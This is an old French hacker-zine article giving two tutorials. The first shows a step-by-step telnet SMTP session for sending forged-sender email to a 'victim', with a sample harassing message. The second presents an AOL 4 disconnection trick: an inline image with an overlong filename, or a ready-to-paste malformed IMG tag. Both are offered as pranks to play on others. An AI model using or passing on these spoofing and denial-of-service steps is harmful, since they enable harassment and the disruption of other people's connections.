Mail anonyme !

 

Bon pour ce nouveau numéro de Snapscan, j'ai très peu de temps pour pondre un article ! Alors je vais vous expliquer comment on fabrique un mail anonyme. Il n'y a rien de compliqué, c'est vraiment tout con. Donc parfait pour les newbies. Allez, j'arrête le baratin, c'est parti !!

 

Tout ce que vous avez à taper apparaîtra en rouge.

 

La toute première chose a faire, c'est de se connecter en Telnet :

Telnet serveur 25

A partir de la il faut choisir un serveur de mail. La vous prenez celui que vous voulez. Par exemple, voici la présentation typique d'un serveur :

220 mail.serveur.fr

ESMTP Serveur des agriculteurs de Lozère; Sun, 18 jun 1999 17:30:51 +0100 (CET)

Il faut indentifier maintenant votre machine :

helo newbie.com

Puis commencer à préparer l'envoi :

mail from : bouseux@newbye.com (NDV: ne mettez pas d'espaces entre from et les deux points et entre les deux points et bouseux)

rcpt to : victime@lamer.com (NDV: meme remarque ici)

data

A ce niveau là, le serveur attends plus que le message :

Date : Sun, 17 Jun 1999 17:32:52 +0100

Subject : Un pti mail pour te foutre les jetons ! = )

To : Gros lamer <victime@lamer.com>

From : Bouseux <bouseux@newbie.com>

Cc : Mon pote momo <momo@newbie.com>

 

Salut Gros lamer !

Je t'envois ce pti mail parce que j'avais que ca a foutre ! bien le bonjour a ta grosse !

Bye

.

Surtout ne pas oublier le point à la fin du message sur un début du message ! Il indique au serveur la fin du message.

Regardons maintenant ce que la victime va recevoir !

 

Received : from mail.provider.fr

[194.151.223.25] by trouduc.provider.fr with pop3 ...

....

Delivered-to : victime@lamer.com

...

Received : from newbie.com (ppp112.provider.fr [152.146.85.42]) by mail.maileur.fr (8.8.8/8.8.8) with SMTP id EAA24557 .....

....

....

Le reste on s'en fout ! Regardez la ligne en rouge, elle correspond à l'adresse donnée mais elle contient également votre IP. Donc si la victime se met à chercher votre domaine (nslookup, traceroute), ben vous l'avez dans l'os. Bon, on peut très bien le baiser en passant par un proxy mais c'est une autre histoire tout ça ( peut être dans un prochain numéro, qui sait ! ) !

 

 

 

Exploiter un bug d'AOL !

 

Je vais maintenant parler d'un petit bug d'AOL qui est exploitable pour déconnecter une personne sans se prendre la tête. Bon, je mets un bémol tout de même ! Ne vous amusez pas à effectuer cela par plaisir, ça casse les couilles de se retrouver déco tout ça parce qu'un pti con se sera amusé toute la soirée avec ce truc ! Alors, utilisez le à bon escient !

 

En fait, ce petit truc exploite un bug dans l'envoi et la réception de mails. Il y a deux façon de l'exploiter, avec ou sans image. Remarque : cela ne marche que pour aol 4 ! (ndV: il me semble quand meme qu'il est possible de déco un mec qui a la version 3, à vérifier)

 

1) Avec une image :

Choisir sur son disque dur une image. La renommer de façon à ce que son nom fasse plus de 256 caractères. Exemple :

image.jpg       devient :       aaaaaaaaaaaaa...aaaaa.jpg

Ensuite, sous aol, vous rédigez un mail vers la victime. vous remplissez les champs de l'entête, surtout le sujet qui va donner envie à la victime d'ouvrir le mail. Dans la fenêtre où vous tapez le message d'habitude, vous insérez l'image ! J'ai dit insérer et pas attacher ! Faites bien la différence ! Maintenant envoyez, lorsque la victime l'ouvrira, elle sera déconnectée !

 

2) Sans image :

Plus simple et plus rapide !

Rédigez un mail pour la victime (entête) et dans la fenêtre du message vous tapez ceci :

<IMG SRC="Krypto.exe"
ID=999999999999999999999
999999999999999999999999
999999999999999999999999
999999999999999999"
WIDTH="1" HEIGHT="1"
BORDER="0"
DATASIZE="1000">

 

Faites un copier coller ce sera plus rapide encore ! Ce système à le même effet que l'image, ms vous avez pas à vous faire chier à coller une image.

Voila, c'est tout pour ce bug, alors ne vous amusez pas trop quand même !

 

Voila mon pti Veins, tu l'as eu mon article, et à temps en plus ! Maintenant, je passe le bonjour à tout mes potes Rhyl, Veins, Gazzz, Baal, Asmo, Cuti et bien sur Bloodwaves, mais aussi à tous ceux qui me connaissent. Sur ce, je vous laisse tranquille, et à la prochaine fois ! Tchusssss !!!!!

 

The Boss